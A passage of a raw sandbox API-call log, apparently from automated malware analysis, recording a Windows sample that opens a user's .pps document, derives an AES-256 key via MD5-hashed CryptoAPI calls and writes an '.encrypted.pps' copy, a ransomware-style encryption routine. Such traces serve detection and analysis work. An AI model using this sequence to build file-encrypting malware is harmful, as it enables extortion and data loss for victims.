lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a310*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x41, lpOverlapped=0x0) returned 1 [0024.578] CloseHandle (hObject=0x188) returned 1 [0024.579] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.579] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.579] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.579] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.579] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.579] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.579] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.580] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.580] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41783e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.581] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.581] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.pps", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0024.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.pps", cchWideChar=55, lpMultiByteStr=0xe8f404bcd0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.pps", lpUsedDefaultChar=0x0) returned 55 [0024.581] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.pps" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\2-l_bj82.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=55, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0024.581] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=55, lpWideCharStr=0xe8f4066a70, cchWideChar=55 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.pps") returned 55 [0024.582] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.582] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.582] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.582] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.583] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178800, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.583] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.583] CloseHandle (hObject=0x188) returned 1 [0024.583] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.583] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.583] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.583] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.583] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.583] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.584] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.584] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.584] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.584] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.584] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.584] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.585] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.585] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.585] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.585] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.585] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.585] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.585] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.586] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.586] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.586] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.586] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.586] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.586] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.586] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.586] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.586] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.586] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.586] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.586] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.586] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.586] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.586] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.586] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.586] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.587] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.587] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.587] CryptHashData (hHash=0xe8f4062720, pbData=0xe8f418b2a0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.587] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.587] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.587] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062720, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062790) returned 1 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.587] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.587] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.588] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.588] CryptDestroyHash (hHash=0xe8f4062720) returned 1 [0024.588] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.589] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.589] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.589] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.589] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.589] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.pps" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\2-l_bj82.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.589] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.589] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.589] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.589] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.589] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.590] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai")) returned 0x10 [0024.590] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\qhHaI\\2-L_bJ82.encrypted.pps" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\qhhai\\2-l_bj82.encrypted.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.590] PeekMessageW 